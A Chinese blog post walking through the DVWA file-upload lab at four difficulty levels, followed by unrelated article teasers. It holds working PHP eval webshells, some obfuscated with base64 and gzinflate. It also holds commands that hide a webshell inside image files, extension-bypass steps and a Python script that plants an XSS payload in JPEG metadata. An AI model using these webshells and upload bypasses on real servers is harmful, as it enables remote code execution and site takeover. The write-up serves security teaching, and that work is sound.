upload 文件上傳審計

目錄

LOW

Medium

HIgh

Impossible


?

概述
很多Web站點都有文件上傳的接口(比如注冊時上傳頭像等),由于沒有對上傳的文件類型進行嚴格限制,導致可以上傳一些文件(比如Webshell)。
上傳和SQL、XSS等都是主流的web手法。

?

代碼

代碼分析
$_FILES變量專門用于獲取上傳文件的各種信息。
$_FILES['uploaded']['name'],獲取客戶端文件的原名稱;
$_FILES['uploaded']['tmp_name']”,獲取文件被上傳后在服務端存儲的臨時文件名。
$target_path=DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
指定文件上傳路徑為“網站根目錄/hackable/uploads”
$target_path =$target_path. basename( $_FILES['uploaded']['name']);
指定上傳之后的文件名及保存路徑代碼分析及攻擊方法
move_uploaded_file($_FILES['uploaded']['tmp_name'],$target_path)
將上傳后的文件移動到變量Starget_path指定的新位置
在low級別中,沒有對上傳的文件進行任何過濾,可以直接將php木馬文件上傳到服
務器中。

?

?

LOW

源碼

寫shell

1.php
<?php @eval($_POST['cmd']);?># 隱蔽性編碼混淆
1.php
<?php $a='_PO'; $b='ST'; $c=$a.$b; @eval($c['cmd']);?>  // 混淆變量名
<?php @eval(gzinflate(base64_decode('...')));?>          // 結合編碼繞過檢測

上傳shell

getshell

冰蝎getshell

?

上傳圖片shell(Apache 的多后綴解析機制造成解析漏洞:1.php.png逐層解析)

# Linux/mac
# 或用二進制編輯工具在圖片尾部添加代碼
echo "<?php @eval($_POST['cmd']);?>" >> 1.php.gif# Win
1.jpg
1.php  :<?php @eval($_POST['cmd']);?># 二進制形式合并
CMD>copy /b 1.jpg + 1.php a.jpg

?

Medium

源碼

上傳xx.jpeg抓包

修改后綴發送

蟻劍連接

?

?

HIgh

源碼

上傳一個隨便改后綴為圖片格式的東西

上傳圖片馬

copy /b 1.png + 11.php a.jpeg

抓包修改后綴

Impossible

源碼

嘗試利用圖片元數據

b.py+同目錄下放一個正常xxx.jpg==注入元數據合成而已jpg

import os
import piexif# 打印當前工作目錄(用于調試)
print(f"當前工作目錄:{os.getcwd()}")# 獲取腳本所在目錄
script_dir = os.path.dirname(os.path.abspath(__file__))
# 配置路徑(使用 .jpg 擴展名)
ORIGINAL_IMAGE = os.path.join(script_dir, "test.jpg")  # 使用 .jpg 擴展名
OUTPUT_IMAGE = os.path.join(script_dir, "exploit.jpg")def create_malicious_image():try:# 檢查原始圖像是否存在if not os.path.exists(ORIGINAL_IMAGE):raise FileNotFoundError(f"文件不存在: {ORIGINAL_IMAGE}")with open(ORIGINAL_IMAGE, "rb") as f:img_data = f.read()# 驗證JPEG文件結尾if len(img_data) < 2 or img_data[-2:] != b"\xFF\xD9":print(f"文件長度: {len(img_data)} 字節")print(f"最后兩個字節: {img_data[-2:].hex()}")raise ValueError("無效的JPEG文件,缺少結束符 \xFF\xD9")# 創建惡意EXIF數據exif_dict = {"0th": {piexif.ImageIFD.ImageDescription: "<script>alert('XSS');</script>"}}exif_bytes = piexif.dump(exif_dict)# 拼接數據modified_data = img_data[:-2] + exif_bytes + b"\xFF\xD9"# 寫入新圖像with open(OUTPUT_IMAGE, "wb") as f:f.write(modified_data)print(f"成功生成惡意圖像:{OUTPUT_IMAGE}")except FileNotFoundError as e:print(f"錯誤:{e}")except ValueError as e:print(f"格式錯誤:{e}")except Exception as e:print(f"未知錯誤:{e}")if __name__ == "__main__":create_malicious_image()

上傳

點擊圖片鏈接F12

控制臺啥也沒看到,估計元數據被清除了

exiftool工具查看上傳上去的圖片元數據

正常:沒看到輸出

exif_dict = {"GPS": {0x0001: b"<script>alert('Custom XSS');</script>"  # 這里假設用0x0001作為自定義標簽編號}
}

Image Description : <script>alert('XSS');</script>

?

GD函數庫

// 此處使用GD庫處理JPEG圖像
if( $uploaded_type == 'image/jpeg' ) {// imagecreatefromjpeg() - GD庫函數,從JPEG文件創建圖像資源// 此函數會解析圖像像素數據,但會忽略原文件中的EXIF等元數據$img = imagecreatefromjpeg( $uploaded_tmp );// imagejpeg() - GD庫函數,將圖像資源保存為JPEG文件// 此函數會重新編碼圖像,且不會保留原始的EXIF元數據imagejpeg( $img, $temp_file, 100);
}
else {// 此處使用GD庫處理PNG圖像// imagecreatefrompng() - GD庫函數,從PNG文件創建圖像資源$img = imagecreatefrompng( $uploaded_tmp );// imagepng() - GD庫函數,將圖像資源保存為PNG文件imagepng( $img, $temp_file, 9);
}
// 釋放圖像資源,避免內存泄漏
imagedestroy( $img );

$image = new Imagick($uploaded_tmp);
$image->stripImage(); // 徹底移除所有元數據
$image->writeImage($temp_file);

?

?

?

?

?

?

?

?

?

?

?

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/84125.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/84125.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/84125.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【freertos-kernel】list

freertos list 基本類型結構體ListItem_t &#xff08;list.h&#xff09;List_t &#xff08;list.h&#xff09; 宏函數函數vListInitialisevListInitialiseItemvListInsertEndvListInsertuxListRemove 基本類型 freertos為了兼容性&#xff0c;重新定義了基本類型&#xff…

游戲盾的功有哪些?

游戲盾的功能主要包括以下幾方面&#xff1a; 一、網絡攻擊防護 DDoS攻擊防護&#xff1a; T級防御能力&#xff1a;游戲盾提供分布式云節點防御集群&#xff0c;可跨地區、跨機房動態擴展防御能力和負載容量&#xff0c;輕松達到T級別防御&#xff0c;有效抵御SYN Flood、UD…

PycharmFlask 學習心得:路由(3-4)

對路由的理解&#xff1a; 用戶輸入網址 例如&#xff1a;http://localhost:5000/hello 瀏覽器會向這個地址發起一個 HTTP 請求&#xff08;比如 GET 請求&#xff09; 請求到達 Flask 的服務器 Flask 監聽著某個端口&#xff08;如 5000&#xff09;&#xff0c;收到請求后…

課程與考核

6.1 課程講解與實戰考核 6.1.1 SQL注入篇考核 考核目標&#xff1a;通過手動注入與工具結合&#xff0c;獲取目標數據庫敏感信息。 題目示例&#xff1a; 目標URL&#xff1a;http://vuln-site.com/product?id1 要求&#xff1a; 判斷注入類型&#xff08;聯合查詢/報錯注…

線程池介紹,分類,實現(工作原理,核心組成,拒絕策略),固態線程池的實現+詳細解釋(支持超時取消機制和不同的拒絕策略)

目錄 線程池 介紹 分類 實現 工作原理 核心組成 拒絕策略 固態線程池 功能 std::future 實現 拒絕策略支持 提交任務 超時取消 用戶檢測取消 安全銷毀 代碼 測試 線程池 介紹 線程池(圖解,本質,模擬實現代碼),添加單例模式(懶漢思路代碼)_線程池單例-CSDN博…

紡線機與PLC通訊故障?ETHERCAT/CANopen網關秒解協議難題

在紡織行業智能化轉型浪潮中&#xff0c;設備間高效通信是實現自動化生產的關鍵。JH-ECT009疆鴻智能EtherCAT轉CANopen協議轉換網關&#xff0c;憑借出色的協議適配能力&#xff0c;成功架起倍福PLC與自動紡線機間的通信橋梁&#xff0c;為紡織廠自動化生產注入強勁動力。 紡織…

深度剖析并發I/O模型select、poll、epoll與IOCP核心機制

核心概要&#xff1a;select、poll、epoll 和 IOCP 是四種用于提升服務器并發處理能力的I/O模型或機制。前三者主要屬于I/O多路復用范疇&#xff0c;允許單個進程或線程監視多個I/O流的狀態&#xff1b;而 IOCP 則是一種更為徹底的異步I/O模型。 一、引言&#xff1a;為何需要這…

microsoft中word如何添加個人簽名

https://support.microsoft.com/zh-cn/office/%E6%8F%92%E5%85%A5%E7%AD%BE%E5%90%8D-f3b3f74c-2355-4d53-be89-ae9c50022730 插入簽名圖片 圖片格式選擇裁剪合適的大小 使用的簽名如果不是白色紙張的話可以重新著色 依次點擊圖片格式——顏色——重新著色——黑白50% 設置透…

linux初識--基礎指令

Linux下基礎指令 ls 指令 語法&#xff1a; ls [ 選項 ] [ ?錄或?件 ] 功能&#xff1a;對于?錄&#xff0c;該命令列出該?錄下的所有??錄與?件。對于?件&#xff0c;將列出?件名以及其他信 息。 常?選項&#xff1a; -a 列出?錄下的所有?件&#xff0c;包括以…

實戰:Dify智能體+Java=自動化運營工具!

我們在運營某個圈子的時候&#xff0c;可能每天都要將這個圈子的“熱門新聞”發送到朋友圈或聊天群里&#xff0c;但依靠傳統的實現手段非常耗時耗力&#xff0c;我們通常要先收集熱門新聞&#xff0c;再組裝要新聞內容&#xff0c;再根據內容設計海報等。 那怎么才能簡化并高…

RabbitMQ可靠傳輸——持久性、發送方確認

一、持久性 前面學習消息確認機制時&#xff0c;是為了保證Broker到消費者直接的可靠傳輸的&#xff0c;但是如果是Broker出現問題&#xff08;如停止服務&#xff09;&#xff0c;如何保證消息可靠性&#xff1f;對此&#xff0c;RabbitMQ提供了持久化功能&#xff1a; 持久…

(Java基礎筆記vlog)Java中常見的幾種設計模式詳解

前言&#xff1a; 在 Java 編程里&#xff0c;設計模式是被反復使用、多數人知曉、經過分類編目的代碼設計經驗總結。他能幫助開發者更高效地解決常見問題&#xff0c;提升代碼的可維護性、可擴展性和復用性。下面介紹Java 中幾種常見的設計模式。 單例模式&#xff08;Singlet…

(8)Spring Boot 原生鏡像支持

Spring Boot 原生鏡像支持 ?? 點擊展開題目 在Spring Boot 3.x中,如何設計一個支持GraalVM原生鏡像的微服務?需要特別注意哪些限制? ?? Spring Boot 3.x 原生鏡像概述 Spring Boot 3.x 通過 Spring Native 項目提供了對 GraalVM 原生鏡像的一流支持,使開發者能夠將 S…

不使用SOAP,從PDF表單連接數據庫

不使用SOAP協議&#xff0c;通過XFDF格式實現PDF表單與數據庫交互的方法。該方法兼容免費的Adobe Reader&#xff0c;且無需特殊權限設置。 背景與問題 歷史方案: Adobe曾提供ADBC接口&#xff08;基于ODBC&#xff09;&#xff0c;但在Acrobat 9后被移除。SOAP方案在免費版Rea…

HTTP由淺入深

文章目錄 概述特點URL HTTP 與 HTTPS概述HTTP 工作原理HTTPS 的作用區別總結 請求報文請求行常見請求方法請求頭請求體Content-Type 詳解常見場景 Content-Type 對應關系 響應報文響應行狀態碼詳解1xx&#xff1a;信息響應&#xff08;Informational&#xff09;2xx&#xff1a…

Redis淘汰策略

Redis有八種淘汰策略 noeviction &#xff1a;不進行淘汰&#xff0c;直接報錯。allkeys-lru &#xff1a;隨機淘汰最久未使用的鍵。volatile-lru &#xff1a;從設置了過期時間的鍵中&#xff0c;隨機淘汰最久未使用的鍵。allkeys-random &#xff1a;隨機淘汰某個鍵。volati…

Maven打包SpringBoot項目,因包含SpringBootTest單元測試和Java預覽版特性導致打包失敗

SpringBoot啟用Java預覽版特性&#xff08;無測試類&#xff09; 在pom.xml文件中加入以下配置表示啟用Java預覽版 <plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-compiler-plugin</artifactId><configuration>…

Makefile快速入門

簡介?&#xff1a; ? Makefile? 是一種用于自動化構建和管理軟件項目的工具文件&#xff0c;通常與 make 命令配合使用。它通過定義?規則?&#xff08;rules&#xff09;來指定如何從源文件生成目標文件&#xff08;如可執行程序或庫&#xff09;&#xff0c;并自動…

RISC-V 開發板 MUSE Pi Pro OpenCV結合Gstreamer實時顯示CSI攝像頭

視頻講解&#xff1a;RISC-V 開發板 MUSE Pi Pro OpenCV結合Gstreamer實時顯示CSI攝像頭_嗶哩嗶哩_bilibili RISC-V 開發板 MUSE Pi Pro OpenCV結合Gstreamer實時顯示CSI攝像頭 安裝opencv相關庫 sudo apt install libopencv-dev python3 python3-opencv 測試使用的CSI攝像頭…

如何用JAVA手寫一個Tomcat

一、初步理解Tomcat Tomcat是什么&#xff1f; Tomcat 是一個開源的 輕量級 Java Web 應用服務器&#xff0c;核心功能是 運行 Servlet/JSP。 Tomcat的核心功能&#xff1f; Servlet 容器&#xff1a;負責加載、實例化、調用和銷毀 Servlet。 HTTP 服務器&#xff1a;監聽端口…